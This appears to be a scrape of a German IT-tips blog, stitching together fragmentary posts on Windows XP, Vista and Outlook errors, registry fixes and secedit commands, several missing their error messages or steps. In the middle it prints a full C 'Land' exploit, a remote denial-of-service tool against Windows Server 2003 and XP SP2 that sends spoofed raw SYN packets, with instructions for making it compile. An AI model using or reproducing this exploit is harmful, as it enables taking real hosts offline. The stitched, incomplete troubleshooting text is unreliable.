winlogon.exe – Komponente nicht gefunden
Die Anwendung konnte nicht gestartet werden, weil XmlLite.dll nicht gefunden wurde. Neuinstallation der Anwendung könnt das Problem beheben.

Sollte also euer Windows XP mal die XmlLite.dll aus irgendeinem Grund verlieren, stelle ich sie euch sie euch hier zum download bereit:
xmllite.zip

Sicherheitshalber schreibe ich euch noch meine System-Informationen:

Windows XP Professional mit Service Pack 3 (Deutsch)

oder

Der Befehl steht nicht zur Verfügung. Sehen Sie in der Programmdokumentation nach, wie diese Erweiterung verwendet wird.

Der Text für die automatische Antwort kann nicht angezeigt werden. Ein Client-Vorgang ist fehlgeschlagen.

Dies ist seitens Microsoft ein “known-issue” und kann wie folgt behoben werden:

Regedit starten

HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Resiliency löschen

oder

HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Resiliency löschen
sollte das nicht helfen gibts noch eine andere möglichkeit die man ausprobieren kann:

Outlook beenden – Start -> Ausführen – “Outlook /CleanRules” eingeben.

UND sollte dies auch nicht helfen, einfach mal Outlook reparieren

Allllsoooooo, eines Tages bekam ich folgende Fehlermeldung:

den ersten Fehler den ich feststellen musste ist das ich dadurch das ich den Firefox als Standardbrowser definiert hatte, dadurch konnte ich den Link “Learn more online” nicht öffnen.

Durch ein bisschen Trixen habe ich ein Explorer-Fenster starten können, wodurch ich dann den Internet Explorer starten konnte und die Gültigkeitsprüfung durchführen könnte.

Doch komischerweise meint diese Überprüfung, dass ich Angeblich ein Schadprogramm oder ähnliches installiert hätte. Das konnte aber gar nicht sein weil das normale starten ohne VMware Fusion funktionierte.

Nun gut ich dachte mir nichts dabei und startete die Überprüfung erneut. Dann *BÄNG* *BOOM* BLUESCREEN REFERENCE_BY_POINTER

Da es nur eine Boot Camp Partition war, und es für mich nicht besonder schlimm oder ausergewöhnlich ist das Windows ab und zu mal meint nichtmehr zu funktionieren, störte mich das neu aufsetzen nicht

Sollte man jetzt aber einen richtigen PC haben und diesen Fehler bekommen ist man eigl. aufgeschmissen, da Vista denkt das man nicht das Original besitzt, obwohl es eigentlich ein Original ist. *Confused*

Fazit: Windows XP läuft besser und stabiler als Vista. Aber immernoch nicht stabiler als….

ein Mac/Linux Betriebsystem…!

Lösung:
Hier ist es ratsam den Ordner mitels DOS-Command zu löschen.
Man muss wie folgt vorgehen:
Start -> Ausführen… -> cmd -> “cd\” eigeben (Ohne Anführungsstiche) -> “rd ordner.old /s” eingeben (Ohne Anführungsstiche). -> Dann mit der Taste “J” die Eingabe bestätigen.

Alles was wir machen müssen ist diese zeile #define _BSD_SOURCE über Include setzten.
Und fertig is unser Land Exploit, jetzt nur noch mit gcc exploit.c –o land compilieren.

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, “r57windos.c by __blf\n”);
fprintf(stderr, “RusH Security Team\n”);
fprintf(stderr, “Usage: %s <dest ip> <dest port>\n”, argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror(“malloc()\n”);
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror(“malloc()\n”);
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror(“socket!\n”);
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror(“setsockopt”);
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror(“sendto()\n”);
shutdown(mysock, 2);
return EX_OSERR;
}
printf(“Packet sent. Remote machine should be down.\n”);
shutdown(mysock, 2);
return EX_OK;
}

Lösung:

1. Outlook schliessen.

2. Die “FRMCHACHE.DAT” im Ordner “C:\Dokumente und Einstellungen\%user%\Lokale Einstellungen\Anwendungsdaten\Microsoft\FORMS\“

Es kann sein das die Fehlermeldung “Failid to set the policy mode. Error – Access is denied. Exiting…” kommt. D.h. das, dass Computerkonto kaputt ist. (Siehe Screenshot)

Lösung: Rechner aus der domain nehmen, Computerkonto löschen, Rechner in die Domäne hängen und in den richtigen ADS Container verschieben.

Zurücksetzen des kompletten Systems (Dateisystem, Registry, Benutzerberechtigungen) auf Urzustand, nach Setup

secedit /configure /db %temp%\temp.sdb /cfg “%systemroot%\security\templates\setup security.inf”

sollte dieser nicht funktionieren einfach:

secedit /configure /DB secedit.sdb /CFG C:\windowst\inf\defltwk.inf

ausprobieren.

Zurücksetzen der Default NTFS Berechtigungen auf dem Systemlaufwerk auf die Ursprungswerte des Setups. Kann auch benutzt werden, um eine nachträglich von FAT32 zu NTFS konvertierte Partition mit den passenden Sicherheitseinstellungen auszustatten.

für eine XP Workstation:

secedit /configure /db %temp%\temp.sdb /cfg %systemroot%\inf\defltwk.inf /areas filestore

für einen 2003 Server, dort ändert sich der letzte Namensanteil der Sicherheitsvorlage (*sv.inf anstelle von *wk.inf):
secedit /configure /db %temp%\temp.sdb /cfg %systemroot%\inf\defltsv.inf /areas filestore

Erklärungshinweise zum oberen Befehl:

-

secedit ist der MS eigene Security Editor, der dir es ermöglicht Berechtigungen zu überprüfen und u.A. anhand von definierten Vorlagen zu vergleichen, bzw. auch diese Vorlagen anzuwenden.
-

/configure – die Anweisung dessen, was zu tun ist => “Konfigurieren” … und nicht vergleichen oder anderes …
-

/db braucht man, um den aktuellen Zustand in eine Datenbank zu schreiben, damit das System weiß wo Änderungen zu erfolgen haben. Zuerst wird eine Analyse des IST-Zustandes durchgeführt, erst danach kommt die Konfiguration.
- temp.mdb inkl. Pfad der Dateiname und Speicherpfad der mit /db angegebenen Datenbank … könnte auch c:\irgendeinVerzeichnis\Dieter.mdb sein
- die defltwk.inf ist die “Default Workstation Informationsdatei” Während der Installation eines Systems muss die Setup Routine ja wissen, welche Berechtigungen auf welche Datei und/oder der Registry geschrieben werden müssen. Diese Informationen bekommt das Setup aus der defltwk.inf
- /areas, jetzt geht es nur noch um welchen Bereich der Berechtigungen die neu gesetzt werden sollen. In diesem Fall “filestore”… der Dateibereich.
Weitere Optionen für den Bereich AREA:

SECURITYPOLICY Umfasst Kontorichtlinien, Überwachungsrichtlinien, Ereignisprotokolleinstellungen und Sicherheitsoptionen.
GROUP_MGMT Umfasst Einstellungen für eingeschränkte Gruppen
USER_RIGHTS Umfasst Zuweisungen von Benutzerrechten
REGKEYS Umfasst Berechtigungen in der Registrierung
FILESTORE Umfasst Berechtigungen im Dateisystem
SERVICES Umfasst Einstellungen für Systemdienste

Aktualisierung und erneute Anwendung der aktuellen Sicherheits- und Gruppenrichtlinien:

2K/Benutzer: secedit /refreshpolicy user_policy /enforce

2K/Computer: secedit /refreshpolicy machine_policy /enforce

XP/Benutzer: gpupdate /target:user /force /wait:0

XP/Computer: gpupdate /target:computer /force /wait:0

Hauptsyntax und Möglichkeiten die secedit bietet.

secedit /analyze – reine Analyse des aktuellen System. Vergleich mit definierten Vorlagen um Unterschiede herauszufiltern, z.B.: Vergleich mit der hisecsv.inf, an welchen Stellen weiche meine Konfiguration von der „sicheren“ vordefinierten ab und wie, bzw. wo sollte ich evtl. noch verschärfte Einstellungen vornehmen.

secedit /configure – wie oben in den Beispielen gezeigt, Anwendung und Einsatz eines vorhandenen Templates.

secedit /export – Export der aktuellen Einstellungen. Damit die Möglichkeit diese Konfiguration auf einen anderen System via /import wieder zu implementieren

secedit /import – siehe Export

secedit /validate – Überprüfung der Syntax eines Security Templates

secedit /GenerateRollback – erst ab Windows XP/2003, Erstellung eines „Rollbacks“, wenn man so will ein Backup der aktuellen Einstellungen und die Möglichkeit nach Änderungen diese wieder zurückzusetzen

secedit /refreshpolicy – Anwendung der aktuellen Sicherheits- und Gruppenrichtlinien Benutzer- oder Computerbezogen. Ist in Windows XP/2003 durch gpupdate ersetzt worden.

Hilfe und weitere Syntax und Beispiele über secedit /? In der internen Hilfe des Systems.

Windows 2000: ms-its:C:\WINNT\Help\secedit.chm::/sag_SECEDITHowToTN.htm

Windows 2003: ms-its:C:\WINDOWS\Help\ntcmds.chm::/secedit_cmds.htm

Lösung:
1. als (lokaler) Administrator anmelden
2. suchen nach Dateien mit dem Namen “FRMCACHE.DAT” und
“USRCLASS.DAT“. Darauf achten, dass alle Dateien – auch versteckte und System-Dateien – sichtbar sind
3. “FRMCACHE.DAT” und “USRCLASS.DAT” jeweils umbenennen auf “FRMCACHE.OLD” bzw. “USRCLASS.OLD”
4. Anschließend kann sich der Benutzer wieder anmelden.

Um die Einstellungen für die Menüs und Symbolleisten wieder zurückzusetzen, löscht man in der Registry unter

HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Data
den Eintrag Toolbars komplett und startet Word neu.

8.0 = Office 97
9.0 = Office 2000
10.0 = Office 2002
11.0 = Office 2003